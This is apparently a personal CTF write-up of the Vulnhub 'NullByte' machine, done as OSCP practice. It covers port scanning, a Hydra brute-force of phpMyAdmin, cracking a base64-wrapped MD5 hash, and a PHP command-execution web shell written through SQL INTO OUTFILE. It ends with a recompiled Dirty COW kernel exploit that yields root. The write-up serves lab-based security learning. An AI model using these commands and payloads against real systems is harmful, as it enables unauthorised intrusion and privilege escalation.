Vulnhub:nullbyte
Today’s box on my OSCP journey is nullbybe. This box was a lot of fun and one of those boxes you can do 2 or more ways. Here’s how I thought through it.
Disclaimer
These isn’t “here’s how I got root after following someone else’s writeup”. The best part about the OSCP journey has been the persepctive I’ve gained looking at systems and thinking through them, especially coming from a blue team background. I like to write these to help explain how I thought through the box, where I needed help, and what I learned.
Enumeration
NNNNMMMMMMAAAAAAAAPPPPP
nmap -A 10.10.10.10
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-06 22:45 EST
Nmap scan report for 10.10.10.10
Host is up (0.046s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Null Byte 00 - level 1
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33323/udp status
| 100024 1 33872/tcp status
| 100024 1 43582/udp6 status
|_ 100024 1 57223/tcp6 status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
| 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
| 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/6%OT=80%CT=1%CU=31213%PV=Y%DS=2%DC=T%G=Y%TM=5FF68426
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%II=I%TS=8)OPS(O1=M5
OS:06ST11NW6%O2=M506ST11NW6%O3=M506NNT11NW6%O4=M506ST11NW6%O5=M506ST11NW6%O
OS:6=M506ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%D
OS:F=Y%T=40%W=7210%O=M506NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 45.21 ms 192.168.49.1
2 45.40 ms 192.168.136.16
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.54 seconds
nmap -p- 10.10.10.10
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-06 22:48 EST
Nmap scan report for 192.168.136.16
Host is up (0.057s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
777/tcp open multiling-http
33872/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 56.66 seconds
nmap --script vuln 10.10.10.10
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-06 22:46 EST
Nmap scan report for 192.168.136.16
Host is up (0.051s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /phpmyadmin/: phpMyAdmin
|_ /uploads/: Potentially interesting folder
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp open rpcbind
777/tcp open multiling-http
Nmap done: 1 IP address (1 host up) scanned in 336.60 seconds
It’s a Linux box running Apache with HTTP, SSH on port 747 and RPC (111 and 33872) open. The first thing I did was confirm that 777 was SSH by trying to SSH to it:
ssh admin@10.10.10.10
I enter a garbage password and get login failed. SSH confirmed. The only thing we could do here is brute force SSH, but that sounds like an awful idea.
I run a few tools to enumerate RPC next:
rpcclient -U "" -N 10.10.10.10
Cannot connect to server. Error was NT_STATUS_CONNECTION_REFUSED
rpcinfo 10.10.10.10
program version netid address service owner
100000 4 tcp6 ::.0.111 portmapper superuser
100000 3 tcp6 ::.0.111 portmapper superuser
100000 4 udp6 ::.0.111 portmapper superuser
100000 3 udp6 ::.0.111 portmapper superuser
100000 4 tcp 0.0.0.0.0.111 portmapper superuser
100000 3 tcp 0.0.0.0.0.111 portmapper superuser
100000 2 tcp 0.0.0.0.0.111 portmapper superuser
100000 4 udp 0.0.0.0.0.111 portmapper superuser
100000 3 udp 0.0.0.0.0.111 portmapper superuser
100000 2 udp 0.0.0.0.0.111 portmapper superuser
100000 4 local /run/rpcbind.sock portmapper superuser
100000 3 local /run/rpcbind.sock portmapper superuser
100024 1 udp 0.0.0.0.130.43 status 107
100024 1 tcp 0.0.0.0.132.80 status 107
100024 1 udp6 ::.170.62 status 107
100024 1 tcp6 ::.223.135 status 107
Not much luck there. Unauthenticated login didn’t work but we do see which services are exposed. RPC certainly isn’t my expertise but I see nothing to go off of here.
Now, let’s check out that web site. As always, we run a directory brute force and check robots.txt. Let’s kick off gobuster and browse to the site:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.10 -t 25
By the way, gobuster can brute force a few things: dns subdomains, directories, etc. The above command is the prety standard one for brute forcing directories. “-w” specifies the word list and on Kali, using the dirbuster one always works pretty well. The only thing I like to add is manually checking for directories related to the site or company. e.g. nike.com/nike. If we were doing this for real, we would run a tool like cewl and get a wordlist based on the site contents. “-u” is the URL. Not that if you want to go down a level, you have to add it to the URL. For example, say you found nike.com/admin on your first run. You would then have to run gobuster again like: -u “http://nike.com/admin” - gobuster is NOT recursive by default. That’s generally a good thing as the old dirbuster is slow as a dial up modem when you turn on recursion. Finally, “-t” is the number of threads. In the real world, a WAF or even fail2ban would crush our brute force, so you would do this very slow, maybe 2 threads. Since this is a for learning, we crank it up for the sake of speed.
The homepage doesn’t have any links or any clues. Side bar: always look at the actual HTML. If you’re doing a CTF, there is a good chance there is a hint somewhere in there. Sometimes admins are sloppy and leave comments or at the very least, you’ll understand how the page works and how you might attack it.
Gobuster is done.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.10 -t 25
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.136.16
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/01/06 22:46:51 Starting gobuster
===============================================================
/uploads (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
===============================================================
2021/01/06 22:54:32 Finished
===============================================================
So far, web is looking way more juicy than SSH or RPC. “/uploads” should make any pen tester salivate and “phpmyadmin” probably means an admin interface is exposed. Let’s keep going. Did we find them all? What about robots.txt?
Robots.txt
Aww man. At least gobuster (and NMAP) gave us some sites to check out.
Uploads
Dang it! I can’t see anything but it is promising. We might be able to upload a webshell and browse here. We could kick off another gobuster checking this directory but we’re not there yet.
phpMyAdmin
Heeeelllllloooooooo nurse! This is definitely a login page. But what the heck is phpMyAdmin? We can attack the page, but we need to learn a little more about it so we aren’t blindly throwing creds at it.
Research
Being completely uneducated on phpMyAdmin, I head over to Wikipedia and read up. It’s just a php front end for MySQL. Ok cool, we might be able to throw some code in a database or upload a php web shell. I need creds though… phpMyAdmin Default Creds. Obviously the default doesn’t work, but at least I have a username.
Oh, and don’t forget searchsploit. I don’t see anything that jumps out at me. Plus I don’t even know what version it’s running yet.
searchsploit phpmyadmin
--------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------- ---------------------------------
phpMyAdmin - '/scripts/setup.php' PHP Code Injection | php/webapps/8921.sh
phpMyAdmin - 'pmaPWN!' Code Injection / Remote Code Execution | php/webapps/8992.php
phpMyAdmin - 'preg_replace' (Authenticated) Remote Code Execution (Metaspl | php/remote/25136.rb
phpMyAdmin - 'tbl_gis_visualization.php' Multiple Cross-Site Scripting Vul | php/webapps/38440.txt
phpMyAdmin - (Authenticated) Remote Code Execution (Metasploit) | php/remote/45020.rb
phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification | php/webapps/15699.txt
phpMyAdmin - Config File Code Injection (Metasploit) | php/webapps/16913.rb
phpMyAdmin 2.11.1 - 'Server_Status.php' Cross-Site Scripting | php/webapps/30733.txt
phpMyAdmin 2.11.1 - 'setup.php' Cross-Site Scripting | php/webapps/30653.txt
phpMyAdmin 2.5.7 - Remote code Injection | php/webapps/309.c
phpMyAdmin 2.6 - 'display_tbl_links.lib.php' Multiple Cross-Site Scripting | php/webapps/25153.txt
phpMyAdmin 2.6 - 'select_server.lib.php' Multiple Cross-Site Scripting Vul | php/webapps/25152.txt
phpMyAdmin 2.6 - 'theme_left.css.php' Multiple Cross-Site Scripting Vulner | php/webapps/25154.txt
phpMyAdmin 2.6 - 'theme_right.css.php' Multiple Cross-Site Scripting Vulne | php/webapps/25155.txt
phpMyAdmin 2.6 - Multiple Local File Inclusions | php/webapps/25156.txt
phpMyAdmin 2.6.3-pl1 - Cross-Site Scripting / Full Path | php/webapps/12642.txt
phpMyAdmin 2.6.4-pl1 - Directory Traversal | php/webapps/1244.pl
phpMyAdmin 2.7 - 'sql.php' Cross-Site Scripting | php/webapps/27632.txt
phpMyAdmin 2.8.1 - Set_Theme Cross-Site Scripting | php/webapps/27435.txt
phpMyAdmin 2.9.1 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/29895.txt
phpMyAdmin 2.x - 'db_create.php?db' Cross-Site Scripting | php/webapps/29058.txt
phpMyAdmin 2.x - 'db_operations.php' Multiple Cross-Site Scripting Vulnera | php/webapps/29059.txt
phpMyAdmin 2.x - 'error.php' Cross-Site Scripting | php/webapps/26199.txt
phpMyAdmin 2.x - 'Export.php' File Disclosure | php/webapps/23640.txt
phpMyAdmin 2.x - 'queryframe.php' Cross-Site Scripting | php/webapps/26392.txt
phpMyAdmin 2.x - 'querywindow.php' Multiple Cross-Site Scripting Vulnerabi | php/webapps/29060.txt
phpMyAdmin 2.x - 'server_databases.php' Cross-Site Scripting | php/webapps/26393.txt
phpMyAdmin 2.x - 'sql.php?pos' Cross-Site Scripting | php/webapps/29061.txt
phpMyAdmin 2.x - Convcharset Cross-Site Scripting | php/webapps/25330.txt
phpMyAdmin 2.x - External Transformations Remote Command Execution | php/webapps/24817.txt
phpMyAdmin 2.x - Information Disclosure | php/webapps/22798.txt
phpMyAdmin 2.x - Multiple Script Array Handling Full Path Disclosures | php/webapps/29062.txt
phpMyAdmin 3.0.1 - 'pmd_pdf.php' Cross-Site Scripting | php/webapps/32531.txt
phpMyAdmin 3.1.0 - Cross-Site Request Forgery / SQL Injection | php/webapps/7382.txt
phpMyAdmin 3.2 - 'server_databases.php' Remote Command Execution | php/webapps/32383.txt
phpMyAdmin 3.3.0 - 'db' Cross-Site Scripting | php/webapps/33060.txt
phpMyAdmin 3.3.x/3.4.x - Local File Inclusion via XML External Entity Inje | php/webapps/18371.rb
phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit) | php/webapps/21834.rb
phpMyAdmin 3.5.8/4.0.0-RC2 - Multiple Vulnerabilities | php/webapps/25003.txt
phpMyAdmin 3.x - Swekey Remote Code Injection | php/webapps/17514.php
phpMyAdmin 4.0.x/4.1.x/4.2.x - Denial of Service | php/dos/35539.txt
phpMyAdmin 4.6.2 - (Authenticated) Remote Code Execution | php/webapps/40185.py
phpMyAdmin 4.7.x - Cross-Site Request Forgery | php/webapps/45284.txt
phpMyAdmin 4.8 - Cross-Site Request Forgery | php/webapps/46982.txt
phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery | php/webapps/44496.html
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | php/webapps/44928.txt
phpMyAdmin 4.8.4 - 'AllowArbitraryServer' Arbitrary File Read | php/webapps/46041.py
phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery | php/webapps/47385.txt
phpMyAdmin3 (pma3) - Remote Code Execution | php/webapps/17510.py
WordPress Plugin Portable phpMyAdmin - Authentication Bypass | php/webapps/23356.txt
XAMPP 3.2.1 & phpMyAdmin 4.1.6 - Multiple Vulnerabilities | php/webapps/32721.txt
--------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Initial Compromise
This is where this box gets fun. To use Hydra to brute force a login, you’ll need to capture the parameters and identify the HTTP method (POST, etc). You can easily do this in Chrome developer tools, but I looooooove Burp Suite. Let’s fire up Burp and navigate to the phpMyAdmin login page.
The newest Burp is pretty aesthetically pleasing. Make sure intercept is turned on and your browser is set. Maybe I’ll go over that setup in another post. Go back to your browser, enter some creds and hit “go” then pop over to Burp. Send that request to Repeater so we can mess with the request:
Note the top and bottom of the request pane. It’s an HTTP POST with the pma_username, pma_password, target… and on the right pane, the error message when you fail to login. Now we’ve got good info for Hydra. Still, I sent a few requests changing the password and the token just to see if I could cause different errors. Nothing crazy happened, so it’s time to try Hydra.
Hydra
Hydra is another versatile tool well worth putting in your cheat sheet. Here’s the command I drew up:
hydra -l “root” -P rockyou.txt 10.10.10.10 http-post-form “/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1&target=index.php&token=229b41f3a9baa221b3a9939893367538:#1045 Cannot log in to the MySQL server” -t 50 -V
I specified the username guessing that it would be the default. Then select a wordlist. I actually used smaller ones but they were unsuccessful. In general, don’t use the big gun unless you have to. Since we identified a HTTP POST, we tell Hydra to use POST. Then we build the Hydra parameters. It’s basically “page:parameters:error”. Note the variables ^USER^ and ^PASS^.
I let this run and grabbed a cup of tea. I come back to success! That was quick. Wait… Hydra stopped but it isn’t displaying a password… Note that I ran the command with “-V” or verbose, so it would output the attempts as they happened. I noticed it stopeped at a specific line in the rockyou.txt file, so I open rockyou.txt. It stopped after it tried a 3 character password. Why?!?!!?!?!? (notice the amount of question marks and exclamation points)
Let’s try the password in the browser. Oh… I get a different error. I play with it some more and realize if you give it less than 4 characters, you get an error that the password cannot be blank. Ok, now I get it. The password policy is probably at least 6 characters or something, so when we try less than than that, we get a different error than the one I fed Hydra. I look at the Hyrda docs to see if I can enter 2 different error codes. Nope. Looks like it only supports one.
Then a tiny lightbulb goes off in my head… it would be faster and I wouldn’t get the error if I just stripped values less than 5 characters or so in my password list. I copy rockyou to a local directory. I know sed can do this, but I’m not a Linux wizard… so I search the interwebs.
sed ‘/^.{,5}$/d’ rockyou.txt -i
To verify, I open rockyou.txt in Vim (like a rational human being. Who uses nano?) and look for lines of 5 characters:
/^.{,5}$/
Looks like we are in business. I run Hydra again with the new passowrd list. And wait. And wait. I go though all my notes so far. Did I miss anything? Should we spin up a Hydra to brute force SSH at the same time? Could this box be all about brute force?
After a small eternity, WINNING:
[80][http-post-form] host: 10.10.10.10 login: root password: sunnyvale
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-01-09 00:53:48
phpMyAdmin
Let’s use our new creds and login. Ok, nothing spectacular. I see a database name on the left hand side called “seth” and start clicking into that… interesting:
Are those usernames and a hashed password? w00t! I copy the hash off and throw it over in Crackstation.
Dang it. What kind of hash is it? Two resources I always reference for hashes are Hashcat and the command line hashid.
hashid YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE Analyzing ‘YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE’ [+] Cisco-IOS(SHA-256) [+] Cisco Type 4
Cisco? We’re not on a router. I find another site to crack Cisco SHA256. That doesn’t work either. Something is off here. I repeat the entire process, racking my brain. This doesn’t make any sense. Finally, I’m staring at the hash and it dawns on me… this looks a lot like base64 except it’s missing equals signs. Let’s add some and try to decode it.
# echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE==" | base64 -d
c6d6bd7ebf806f43c76acc3681703b81base64: invalid input
# echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 -d
c6d6bd7ebf806f43c76acc3681703b81
Ohhhh so it’s an MD5 that was base64 encoded and then the equals sign chopped off? Creative.
hashid c6d6bd7ebf806f43c76acc3681703b81
Analyzing 'c6d6bd7ebf806f43c76acc3681703b81'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
I throw that into crackstation and we get it: “omega”. Wow, nice short password you lazy user, Ramses.
PWN User
Now I can just SSH in and I have user:
ramses@NullByte:~$ whoami
ramses
ramses@NullByte:~$ ls -al
total 24
drwxr-xr-x 2 ramses ramses 4096 Jul 9 2020 .
drwxr-xr-x 5 root root 4096 Aug 2 2015 ..
-rw------- 1 ramses ramses 0 Mar 5 2020 .bash_history
-rw-r--r-- 1 ramses ramses 220 Aug 2 2015 .bash_logout
-rw-r--r-- 1 ramses ramses 3515 Aug 2 2015 .bashrc
-rw-r--r-- 1 ramses ramses 33 Jan 9 12:43 local.txt
-rw-r--r-- 1 ramses ramses 675 Aug 2 2015 .profile
There’s local.txt, grab the flag.
Now here is where I like this box. We did that, but we were root inside of phpMyAdmin. Couldn’t we have done something else? Remember that uploads directory? Was that a red herring? I go back to phpMYAdmin and start poking again. At the top there is a “SQL” tab. Huh, so I can run SQL. I already have the contents of the “seth” database though. I’ve done other boxes where you trick SQL to run code. And phpMyAdmin is written in PHP… can I get a PHP web shell? I check my cheat sheet for PHP and SQL, but alas I have no notes on it. So I do what everyone does: search the web.
I finall come across this guy: m4mshackers. They’re trying to do exactly what I am! I also found this nicer looking shell: phpMyAdmin Shell
I try to use the latter shell:
Why won’t you just work! Ugh! Time to actually read the eror message… looks like a permission issue. Maybe I’ll try /var/www?
I must not have write permission to /var/www/phpmyadmin or /var/www. But hey, I already have user from SSH. I’ll navigate from that shell and see what the permissions are:
ramses@NullByte:~$ ls -al /var/www/
total 16
drwxr-xr-x 4 root root 4096 Aug 2 2015 .
drwxr-xr-x 12 root root 4096 Aug 2 2015 ..
drwxrwxrwx 2 root root 4096 Aug 2 2015 backup
drwxr-xr-x 4 root root 4096 Aug 2 2015 html
ramses@NullByte:~$ ls -al /var/www/html
total 60
drwxr-xr-x 4 root root 4096 Aug 2 2015 .
drwxr-xr-x 4 root root 4096 Aug 2 2015 ..
-rw-r--r-- 1 root root 196 Aug 2 2015 index.html
drwxr-xr-x 2 root root 4096 Aug 2 2015 kzMb5nVYJw
-rw-r--r-- 1 root root 16647 Aug 2 2015 main.gif
-rw-r--r-- 1 root root 16628 May 24 2013 main.gif_original
drwxrwxrwx 2 root root 4096 Aug 2 2015 uploads
Spankowitz, you dummy. You blindly copied a shell from Github and didn’t look at where it was trying to place it! The error was telling you that the directory didn’t exist, not that you didn’t have permission. Let’s modify our little SQL command:
SELECT “<HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><?php if($_GET[‘cmd’]) {system($_GET['cmd']);} ?> </pre></BODY></HTML>” INTO OUTFILE ‘/var/www/html/uploads/cmd.php’
Success! Let’s test.
Excellent. This was another way I could have gotten a shell. This box has netcat on it, so I could spawn a shell right here. We’ve identified 2 ways of getting user.
##PWN root
Now that we’ve got user 2 different ways, let’s escalate our priviliges. I try “sudo -l” but no luck. Let’s run the trusty linenum script. Start a Python web server on the hacker box, bring it over to the victim and run it. Highlights:
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
### SYSTEM ##############################################
[-] Kernel information:
Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux
[-] Kernel information (continued):
Linux version 3.16.0-4-686-pae (debian-kernel@lists.debian.org) (gcc version 4.8.4 (Debian 4.8.4-1) ) #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17)
[-] Are permissions on /home directories lax:
total 20K
drwxr-xr-x 5 root root 4.0K Aug 2 2015 .
drwxr-xr-x 21 root root 4.0K Feb 20 2020 ..
drwxr-xr-x 2 bob bob 4.0K Mar 5 2020 bob
drwxr-xr-x 2 eric eric 4.0K Aug 2 2015 eric
drwxr-xr-x 2 ramses ramses 4.0K Jul 9 2020 ramses
[-] Process binaries and associated permissions (from above list):
-rwxr-xr-x 1 root root 1105840 Nov 13 2014 /bin/bash
lrwxrwxrwx 1 root root 4 Nov 8 2014 /bin/sh -> dash
-rwxr-xr-x 1 root root 263704 May 27 2015 /lib/systemd/systemd-journald
-rwxr-xr-x 1 root root 538136 May 27 2015 /lib/systemd/systemd-logind
-rwxr-xr-x 1 root root 300612 May 27 2015 /lib/systemd/systemd-udevd
-rwxr-xr-x 1 root root 34540 Mar 30 2015 /sbin/agetty
lrwxrwxrwx 1 root root 20 May 27 2015 /sbin/init -> /lib/systemd/systemd
-rwxr-xr-x 1 root root 76408 Aug 13 2014 /sbin/rpc.statd
-rwxr-xr-x 1 root root 46908 Aug 18 2014 /sbin/rpcbind
-rwxr-xr-x 1 root root 518888 May 28 2015 /usr/bin/dbus-daemon
lrwxrwxrwx 1 root root 9 Mar 17 2015 /usr/bin/python -> python2.7
-rwxr-xr-x 1 root root 47208 Feb 13 2015 /usr/bin/vmtoolsd
-rwxr-xr-x 1 root root 50924 Nov 9 2014 /usr/sbin/acpid
-rwxr-xr-x 1 root root 622468 Mar 15 2015 /usr/sbin/apache2
-rwxr-xr-x 1 root root 21772 Sep 30 2014 /usr/sbin/atd
-rwxr-xr-x 1 root root 43012 Oct 26 2014 /usr/sbin/cron
-rwxr-xr-x 1 root root 55168 Jul 7 2015 /usr/sbin/cups-browsed
-rwxr-xr-x 1 root root 497516 Jun 9 2015 /usr/sbin/cupsd
-rwsr-xr-x 1 root root 1081076 Feb 18 2015 /usr/sbin/exim4
-rwxr-xr-x 1 root root 11486816 Jul 16 2015 /usr/sbin/mysqld
-rwxr-xr-x 1 root root 31012 Aug 13 2014 /usr/sbin/rpc.idmapd
-rwxr-xr-x 1 root root 653088 Oct 2 2014 /usr/sbin/rsyslogd
-rwxr-xr-x 1 root root 949144 Mar 23 2015 /usr/sbin/sshd
### INTERESTING FILES ####################################
[-] Useful file locations:
/bin/nc
/bin/netcat
/usr/bin/wget
/usr/bin/gcc
Note that the architecture is i686. More on that in a bit. Every user’s home directory is readable, Python permissions are pretty lax. We’ve got GCC installed. Interesting that a compiler is installed. Now I am no priv esc expert. I’m building a cheat sheet for OSCP. But I got nothing after looking at the above. No interesting cron job, no weird files in the user’s home directories, no odd binary running. Oh and fail2ban was running, so SSH bruteforcing would not have worked!
I’m out of ideas, so let’s run another script: Linux Exploit Suggester I copy the file over to the victim, add execute permission and run it:
./les2.pl
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 3.16.0
Searching 72 exploits...
Possible Exploits
[1] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[2] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[3] overlayfs
CVE-2015-8660
Source: http://www.exploit-db.com/exploits/39230
That was quick. That’s all? I guess we’ll try the first one. I read the exploit. Interesting. It replaces /usr/bin/passwd (how you change your password in ‘nix) with a payload, escalating your shell to root. The eexploit author is nice and makes a backup of /usr/bin/passwd for you so you don’t break the box. It’s written in C so we’ll have to compile it. Wait, didn’t this box have GCC? Sweet!
Even though the box has GCC, I decide to compile it myself. I copy the exploit to my attacker box and reread the code. I need to uncomment the correct payload (x86 or x64). I search the old interwebs and i686 is 32 bit, so we need the x86 payload. Comment out the 64 bit and uncomment the 32 bit. Ohhh we’re gonna pwn root!
I follow the command in the exploit and compile the code. Then I transfer it to the victim (python web server). I run the code, and nothing. What? Stupid Linux Explit Suggester. I have a crappy netcat shell so I spawn a better shell to see if there are any errors (we saw python in linenum, so I used the python shell upgrade):
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Ok… let’s see the error.
bash: ./cowroot: cannot execute binary file: Exec format error
Huh? Why not! I compiled you, run dammit! Time to search the interwebs for this error. Quickly I discover it’s a file and host architecture mismatch. Let’s double check the file:
file cowroot
cowroot: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aec4f878e26d93014e1c5c9ab60160916ef07dd5, for GNU/Linux 3.2.0, not stripped
64 bit? The victim is 32 bit! Why would you do that?!?!? Whoever compiled this is in idiot! Oh wait. I compiled it. Now, let me give a quick explanation. As a blue teamer, I know the more a bad guy does on a system, the more chances I have to catch them. So in general, I try to do the most work on my attacker machine that I can. In this case, I compiled the file on my 64 bit VM, so GCC compiled it for my architecture. Duh! Now let’s try again but specify 32 bit:
gcc -m32 40616.c -o cowroot32 -pthread
Now, let’s transfer that one to the victim and run it.
whoami
www-data
./cowroot32
whoami
root
cd /root
ls
proof.txt
Victory! I wonder if there were other ways to get root like there were other ways to get user? What about those other 2 exploits?